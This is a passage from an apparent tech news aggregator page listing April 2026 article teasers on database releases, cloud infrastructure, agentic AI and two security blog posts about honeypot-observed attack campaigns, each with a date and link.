        <a href="#h3-accelerating-data-curation-with-google-data-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Accelerating data curation with Google Data Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-accelerating-data-curation-with-google-data-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the enterprise landscape, data is often highly fragmented across multiple source systems. Data curation is the process of organizing, cleaning, and enriching raw data to transform it into high-qual</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/data-analytics/data-curation-accelerators-for-google-data-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-near-100-accurate-data-for-your-agent-with-comprehensive-context-engineering" class="group relative scroll-mt-24">
        <a href="#h3-near-100-accurate-data-for-your-agent-with-comprehensive-context-engineering" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Near-100% Accurate Data for your Agent with Comprehensive Context Engineering
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-near-100-accurate-data-for-your-agent-with-comprehensive-context-engineering"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic workflows are already used for initiating action. To be successful, agents typically need to combine multiple steps and execute business logic reflective of real-life decisions. But, as develo</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/databases/how-to-get-your-agent-near-100-percent-accurate-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dotconnect-for-postgresql-91-new-release" class="group relative scroll-mt-24">
        <a href="#h3-dotconnect-for-postgresql-91-new-release" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 dotConnect for PostgreSQL 9.1: New Release
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dotconnect-for-postgresql-91-new-release"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Devart rolled out the new version of dotConnect for PostgreSQL with EF Core 10, AI Vector Types, and Expanded Database Compatibility. The list of enhancements: Support for Entity Framework Core 10 Add</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/dotconnect-for-postgresql-91-new-release-3260/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying" class="group relative scroll-mt-24">
        <a href="#h3-dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 DBConvert Streams 2.0 released with PostgreSQL CDC and cross-database querying
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DBConvert Streams 2.0 has been released, introducing a combined approach to PostgreSQL data migration, exploration, and real-time replication. The tool supports log-based Change Data Capture (CDC) usi</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/dbconvert-streams-20-released-with-postgresql-cdc-and-cross-database-querying-3268/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-autobase-270-released" class="group relative scroll-mt-24">
        <a href="#h3-autobase-270-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Autobase 2.7.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-autobase-270-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This release brings a SQL editor directly into the Autobase console, along with automated index maintenance to keep your databases performing at their best without manual intervention. See the full li</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/autobase-270-released-3269/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-s3-is-the-new-network-rethinking-data-architecture-for-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-s3-is-the-new-network-rethinking-data-architecture-for-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 S3 is the New Network: Rethinking Data Architecture for AI Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-s3-is-the-new-network-rethinking-data-architecture-for-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. For decades, database designers have built distributed databas</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/s3-new-network-cloud-object-storage-database-architecture/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale" class="group relative scroll-mt-24">
        <a href="#h3-how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How I Learned to Stop Worrying About Overprovisioning and Love Elastic Scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Stop overprovisioning; true elastic scale lets you increase capacity fast, without latency spikes or wasted spend</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/09/how-i-learned-to-stop-worrying-about-overprovisioning-and-love-elastic-scale/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agentic-ai-state-management-with-scylladb-and-langgraph" class="group relative scroll-mt-24">
        <a href="#h3-agentic-ai-state-management-with-scylladb-and-langgraph" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agentic AI State Management with ScyllaDB and LangGraph
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agentic-ai-state-management-with-scylladb-and-langgraph"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How to combine LangGraph and ScyllaDB for durable state management, crash recovery, and a highly available backend for your agentic AI applications.</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/08/agentic-ai-state-management-with-scylladb-and-langgraph/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-designing-a-semantic-routing-system-from-static-rules-to-dynamic-intelligence-with-redis-and-java" class="group relative scroll-mt-24">
        <a href="#h3-designing-a-semantic-routing-system-from-static-rules-to-dynamic-intelligence-with-redis-and-java" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Designing a semantic routing system: From static rules to dynamic intelligence with Redis and Java
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-designing-a-semantic-routing-system-from-static-rules-to-dynamic-intelligence-with-redis-and-java"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A semantic routing pattern is a powerful technique used in intelligent systems to classify incoming requests based on their meaning and direct them to the most appropriate processing path. Unlike trad</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/designing-a-semantic-routing-system/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mongodb-predictive-auto-scaling-an-experiment" class="group relative scroll-mt-24">
        <a href="#h3-mongodb-predictive-auto-scaling-an-experiment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 MongoDB Predictive Auto-Scaling: An Experiment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mongodb-predictive-auto-scaling-an-experiment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You can often predict a load spike before it arrives. Maybe it happens at the same time every day, or there’s always a spike at midnight on a Friday when you run a certain batch job. Or maybe it’s not</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/engineering/mongodb-predictive-auto-scaling-an-experiment"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-reducing-p999-latency-in-distributed-databases-with-tidb-85" class="group relative scroll-mt-24">
        <a href="#h3-reducing-p999-latency-in-distributed-databases-with-tidb-85" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Reducing P999 Latency in Distributed Databases with TiDB 8.5
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-reducing-p999-latency-in-distributed-databases-with-tidb-85"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Reducing P999 latency in distributed databases is one of the hardest challenges in modern OLTP systems. A handful of slow requests can cascade across services, break SLOs, and directly impact business</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-8-5-reduce-p999-latency-distributed-database/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-welcome-to-agents-week" class="group relative scroll-mt-24">
        <a href="#h3-welcome-to-agents-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Welcome to Agents Week
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-welcome-to-agents-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare&#39;s mission has always been to help build a better Internet. Sometimes that means building for the Internet as it exists. Sometimes it means building for the Internet as it&#39;s about to become.</p>
<p><strong>📅 Apr 12, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/welcome-to-agents-week/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-x8i-instances-are-now-available-in-europe-paris" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-x8i-instances-are-now-available-in-europe-paris" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 X8i instances are now available in Europe (Paris)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-x8i-instances-are-now-available-in-europe-paris"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Web Services (AWS) is announcing the general availability of Amazon EC2 X8i instances, next-generation memory optimized instances powered by custom Intel Xeon 6 processors available only on AWS</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-ec2-x8i-instances-CDG-region/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-500-tbps-of-capacity-16-years-of-scaling-our-global-network" class="group relative scroll-mt-24">
        <a href="#h3-500-tbps-of-capacity-16-years-of-scaling-our-global-network" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 500 Tbps of capacity: 16 years of scaling our global network
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-500-tbps-of-capacity-16-years-of-scaling-our-global-network"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare’s global network has officially crossed 500 Tbps of external capacity, enough to route more than 20% of the web and absorb the largest DDoS attacks ever recorded.</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/500-tbps-of-capacity/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-deadline-cloud-supports-monitor-creation-in-multiple-regions" class="group relative scroll-mt-24">
        <a href="#h3-aws-deadline-cloud-supports-monitor-creation-in-multiple-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Deadline Cloud supports monitor creation in multiple regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-deadline-cloud-supports-monitor-creation-in-multiple-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, AWS Deadline Cloud announces support for creating monitors in multiple AWS Regions without additional configuration of your IAM Identity Center instance. AWS Deadline Cloud is a fully managed s</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/deadline-cloud-monitor-creation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-accelerating-innovation-and-impact-across-the-public-sector" class="group relative scroll-mt-24">
        <a href="#h3-accelerating-innovation-and-impact-across-the-public-sector" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Accelerating innovation and impact across the public sector
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-accelerating-innovation-and-impact-across-the-public-sector"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Leaders across industries around the world are asking: How do we harness all of this powerful technology effectively and at scale, to solve real problems, and drive value and impact, right now? Google</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/public-sector/accelerating-innovation-and-impact-across-the-public-sector/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-sap-concur-automates-expense-reporting-with-agentic-ai" class="group relative scroll-mt-24">
        <a href="#h3-how-sap-concur-automates-expense-reporting-with-agentic-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How SAP Concur automates expense reporting with agentic AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-sap-concur-automates-expense-reporting-with-agentic-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For decades, expense automation relied on a simple premise: If the machine can read the text, it can do the work. But anyone who has ever tried to scan a crumpled, smudged, or sun-bleached receipt fro</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
